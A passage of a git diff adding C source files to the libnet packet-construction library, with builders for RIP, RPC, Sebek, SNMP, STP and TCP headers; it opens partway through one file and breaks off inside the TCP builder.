+ LIBNET_PBLOCK_LS_AS_EXT_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_rip.c b/libnet/src/libnet_build_rip.c
new file mode 100644
index 0000000..e0364d0
--- /dev/null
+++ b/libnet/src/libnet_build_rip.c
@@ -0,0 +1,108 @@
+/*
+ * $Id: libnet_build_rip.c,v 1.8 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_rip.c - RIP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, u_int16_t rt,
+ u_int32_t addr, u_int32_t mask, u_int32_t next_hop, u_int32_t metric,
+ u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_rip_hdr rip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_RIP_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RIP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&rip_hdr, 0, sizeof(rip_hdr));
+ rip_hdr.rip_cmd = cmd;
+ rip_hdr.rip_ver = version;
+ rip_hdr.rip_rd = htons(rd);
+ rip_hdr.rip_af = htons(af);
+ rip_hdr.rip_rt = htons(rt);
+ rip_hdr.rip_addr = htonl(addr);
+ rip_hdr.rip_mask = htonl(mask);
+ rip_hdr.rip_next_hop = htonl(next_hop);
+ rip_hdr.rip_metric = htonl(metric);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&rip_hdr, LIBNET_RIP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_RIP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_rpc.c b/libnet/src/libnet_build_rpc.c
new file mode 100644
index 0000000..386280d
--- /dev/null
+++ b/libnet/src/libnet_build_rpc.c
@@ -0,0 +1,138 @@
+/*
+ *
+ * libnet
+ * libnet_build_rpc.c - RPC packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * Jason Damron <jdamron@stackheap.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num,
+u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength,
+u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_rpc_call_tcp_hdr rpc_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* Credential and Verifier buffers not yet implemented.
+ * n = LIBNET_RPC_CALL_H + clength + vlength + payload_s;
+ */
+
+ if (rm)
+ {
+ n = LIBNET_RPC_CALL_TCP_H + payload_s;
+ }
+ else
+ {
+ n = LIBNET_RPC_CALL_H + payload_s;
+ }
+
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RPC_CALL_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&rpc_hdr, 0, sizeof(rpc_hdr));
+ if (rm)
+ {
+ rpc_hdr.rpc_record_marking = htonl(rm + payload_s);
+ }
+ rpc_hdr.rpc_common.rpc_xid = htonl(xid);
+ rpc_hdr.rpc_common.rpc_type = LIBNET_RPC_CALL;
+ rpc_hdr.rpc_common.rpc_call.rpc_rpcvers = htonl(LIBNET_RPC_VERS);
+ rpc_hdr.rpc_common.rpc_call.rpc_prognum = htonl(prog_num);
+ rpc_hdr.rpc_common.rpc_call.rpc_vers = htonl(prog_vers);
+ rpc_hdr.rpc_common.rpc_call.rpc_procedure = htonl(procedure);
+ /* XXX Eventually should allow for opaque auth data. */
+ rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_flavor= htonl(cflavor);
+ rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_length= htonl(clength);
+ rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_flavor = htonl(vflavor);
+ rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_length = htonl(vlength);
+
+ if (rm)
+ {
+ n = libnet_pblock_append(l, p, (u_int8_t *)&rpc_hdr,
+ LIBNET_RPC_CALL_TCP_H);
+ }
+ else
+ {
+ n = libnet_pblock_append(l, p, (u_int8_t *)&rpc_hdr.rpc_common,
+ LIBNET_RPC_CALL_H);
+ }
+
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_RPC_CALL_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_sebek.c b/libnet/src/libnet_build_sebek.c
new file mode 100644
index 0000000..e3ee47a
--- /dev/null
+++ b/libnet/src/libnet_build_sebek.c
@@ -0,0 +1,108 @@
+/*
+ * libnet
+ * libnet_build_sebek.c - sebek packet assembler
+ *
+ * Copyright (c) 2004 Frederic Raynal <pappy@security-labs.org>
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type,
+u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid,
+u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n;
+ libnet_pblock_t *p;
+ struct libnet_sebek_hdr sebek_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_SEBEK_H + payload_s; /* size of memory block */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_SEBEK_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&sebek_hdr, 0, sizeof(sebek_hdr));
+ sebek_hdr.magic = htonl(magic);
+ sebek_hdr.version = htons(version);
+ sebek_hdr.type = htons(type);
+ sebek_hdr.counter = htonl(counter);
+ sebek_hdr.time_sec = htonl(time_sec);
+ sebek_hdr.time_usec = htonl(time_usec);
+ sebek_hdr.pid = htonl(pid);
+ sebek_hdr.uid = htonl(uid);
+ sebek_hdr.fd = htonl(fd);
+ memcpy(sebek_hdr.cmd, cmd, SEBEK_CMD_LENGTH*sizeof(u_int8_t));
+ sebek_hdr.length = htonl(length);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&sebek_hdr, LIBNET_SEBEK_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, 0, LIBNET_PBLOCK_SEBEK_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+/* EOF */
diff --git a/libnet/src/libnet_build_snmp.c b/libnet/src/libnet_build_snmp.c
new file mode 100644
index 0000000..37a04c6
--- /dev/null
+++ b/libnet/src/libnet_build_snmp.c
@@ -0,0 +1,52 @@
+/*
+ * $Id: libnet_build_snmp.c,v 1.4 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet
+ * libnet_build_snmp.c - SNMP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_snmp()
+{
+ /*
+ * We need an ASN.1 BER encoder before we can write this.
+ */
+ return (-1);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_stp.c b/libnet/src/libnet_build_stp.c
new file mode 100644
index 0000000..7d70f15
--- /dev/null
+++ b/libnet/src/libnet_build_stp.c
@@ -0,0 +1,222 @@
+/*
+ * $Id: libnet_build_stp.c,v 1.8 2004/01/15 20:11:15 mike Exp $
+ *
+ * libnet
+ * libnet_build_stp.c - STP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id,
+u_int16_t port_id, u_int16_t message_age, u_int16_t max_age,
+u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload,
+u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+
+ /* until we get some data marshalling in place we can't use this */
+ /* struct libnet_stp_conf_hdr stp_hdr; */
+ u_int8_t stp_hdr[35];
+ u_int16_t value_s;
+ u_int32_t value_l;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_STP_CONF_H + payload_s; /* size of memory block */
+ h = 0; /* no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_CONF_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ /* until we get some data marshalling in place we can't use this */
+ /*
+ stp_hdr.stp_id = htons(id);
+ stp_hdr.stp_version = version;
+ stp_hdr.stp_bpdu_type = bpdu_type;
+ stp_hdr.stp_flags = flags;
+ memcpy(&stp_hdr.stp_rootid, root_id, 8);
+ stp_hdr.stp_rootpc = htonl(root_pc);
+ memcpy(&stp_hdr.stp_bridgeid, bridge_id, 8);
+ stp_hdr.stp_portid = htons(port_id);
+ stp_hdr.stp_mage = htons(message_age);
+ stp_hdr.stp_maxage = htons(max_age);
+ stp_hdr.stp_hellot = htons(hello_time);
+ stp_hdr.stp_fdelay = htons(f_delay);
+ */
+
+ value_s = htons(id);
+ memcpy(stp_hdr, &value_s, 2);
+ stp_hdr[2] = version;
+ stp_hdr[3] = bpdu_type;
+ stp_hdr[4] = flags;
+ memcpy(&stp_hdr[5], root_id, 8);
+ value_l = htonl(root_pc);
+ memcpy(&stp_hdr[13], &value_l, 4);
+ memcpy(&stp_hdr[17], bridge_id, 8);
+ value_s = htons(port_id);
+ memcpy(&stp_hdr[25], &value_s, 2);
+#if (LIBNET_BIG_ENDIAN == 1)
+ value_s = htons(message_age);
+#else
+ value_s = message_age;
+#endif
+ memcpy(&stp_hdr[27], &value_s, 2);
+#if (LIBNET_BIG_ENDIAN == 1)
+ value_s = htons(max_age);
+#else
+ value_s = max_age;
+#endif
+ memcpy(&stp_hdr[29], &value_s, 2);
+#if (LIBNET_BIG_ENDIAN == 1)
+ value_s = htons(hello_time);
+#else
+ value_s = hello_time;
+#endif
+ memcpy(&stp_hdr[31], &value_s, 2);
+#if (LIBNET_BIG_ENDIAN == 1)
+ value_s = htons(f_delay);
+#else
+ value_s = f_delay;
+#endif
+ memcpy(&stp_hdr[33], &value_s, 2);
+
+
+ /* until we get some data marshalling in place we can't use this */
+ /*n = libnet_pblock_append(l, p, (u_int8_t *)&stp_hdr, LIBNET_STP_CONF_H); */
+ n = libnet_pblock_append(l, p, stp_hdr, LIBNET_STP_CONF_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_STP_CONF_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type,
+ u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+
+ struct libnet_stp_tcn_hdr stp_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_STP_TCN_H + payload_s; /* size of memory block */
+ h = 0; /* no checksum */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_STP_TCN_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&stp_hdr, 0, sizeof(stp_hdr));
+ stp_hdr.stp_id = htons(id);
+ stp_hdr.stp_version = version;
+ stp_hdr.stp_bpdu_type = bpdu_type;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&stp_hdr, LIBNET_STP_TCN_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_STP_TCN_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_tcp.c b/libnet/src/libnet_build_tcp.c
new file mode 100644
index 0000000..01a1e31
--- /dev/null
+++ b/libnet/src/libnet_build_tcp.c
@@ -0,0 +1,365 @@
+/*
+ * $Id: libnet_build_tcp.c,v 1.11 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_build_tcp.c - TCP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_tcp(u_int16_t sp, u_int16_t dp, u_int32_t seq, u_int32_t ack,
+u_int8_t control, u_int16_t win, u_int16_t sum, u_int16_t urg, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ int n, offset;
+ u_int32_t i, j;
+ libnet_pblock_t *p, *p_data, *p_temp;
+ libnet_ptag_t ptag_hold, ptag_data;
+ struct libnet_tcp_hdr tcp_hdr;
+ struct libnet_ipv4_hdr *ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ ptag_data = 0; /* for possible options */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, LIBNET_TCP_H, LIBNET_PBLOCK_TCP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&tcp_hdr, 0, sizeof(tcp_hdr));
+ tcp_hdr.th_sport = htons(sp); /* source port */
+ tcp_hdr.th_dport = htons(dp); /* destination port */
+ tcp_hdr.th_seq = htonl(seq); /* sequence number */
+ tcp_hdr.th_ack = htonl(ack); /* acknowledgement number */
+ tcp_hdr.th_flags = control; /* control flags */
+ tcp_hdr.th_x2 = 0; /* UNUSED */
+ tcp_hdr.th_off = 5; /* 20 byte header */
+
+ /* check to see if there are TCP options to include */
+ if (p->prev)
+ {
+ p_temp = p->prev;
+ while ((p_temp->prev) && (p_temp->type != LIBNET_PBLOCK_TCPO_H))
+ {
+ p_temp = p_temp->prev;
+ }
+ if (p_temp->type == LIBNET_PBLOCK_TCPO_H)
+ {
+ /*
+ * Count up number of 32-bit words in options list, padding if
+ * neccessary.
+ */
+ for (i = 0, j = 0; i < p_temp->b_len; i++)
+ {
+ (i % 4) ? j : j++;
+ }
+ tcp_hdr.th_off += j;
+ }
+ }
+
+ tcp_hdr.th_win = htons(win); /* window size */
+ tcp_hdr.th_sum = (sum ? htons(sum) : 0); /* checksum */
+ tcp_hdr.th_urp = htons(urg); /* urgent pointer */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&tcp_hdr, LIBNET_TCP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ ptag_hold = ptag;
+ if (ptag == LIBNET_PTAG_INITIALIZER)
+ {
+ ptag = libnet_pblock_update(l, p, len, LIBNET_PBLOCK_TCP_H);
+ }
+
+ /* find and set the appropriate ptag, or else use the default of 0 */
+ offset = payload_s;
+ if (ptag_hold && p->prev)
+ {
+ p_temp = p->prev;
+ while (p_temp->prev &&
+ (p_temp->type != LIBNET_PBLOCK_TCPDATA) &&
+ (p_temp->type != LIBNET_PBLOCK_TCP_H))
+ {
+ p_temp = p_temp->prev;
+ }
+
+ if (p_temp->type == LIBNET_PBLOCK_TCPDATA)
+ {
+ ptag_data = p_temp->ptag;
+ offset -= p_temp->b_len;
+ p->h_len += offset;
+ }
+ else
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): TCP data pblock not found\n", __func__);
+ }
+ }
+
+ /* update ip_len if present */
+ if (ptag_hold && p->next)
+ {
+ p_temp = p->next;
+ while (p_temp->next && (p_temp->type != LIBNET_PBLOCK_IPV4_H))
+ {
+ p_temp = p_temp->next;
+ }
+ if (p_temp->type == LIBNET_PBLOCK_IPV4_H)
+ {
+ ip_hdr = (struct libnet_ipv4_hdr *)p_temp->buf;
+ n = ntohs(ip_hdr->ip_len) + offset;
+ ip_hdr->ip_len = htons(n);
+ }
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ /* if there is a payload, add it in the context */
+ if (payload && payload_s)
+ {
+ /* update ptag_data with the new payload */
+ p_data = libnet_pblock_probe(l, ptag_data, payload_s,
+ LIBNET_PBLOCK_TCPDATA);
+ if (p_data == NULL)
+ {
+ return (-1);
+ }
+
+ if (libnet_pblock_append(l, p_data, payload, payload_s) == -1)
+ {
+ goto bad;
+ }
+
+ if (ptag_data == LIBNET_PTAG_INITIALIZER)
+ {
+ if (p_data->prev->type == LIBNET_PBLOCK_TCP_H)
+ {
+ libnet_pblock_update(l, p_data, payload_s,
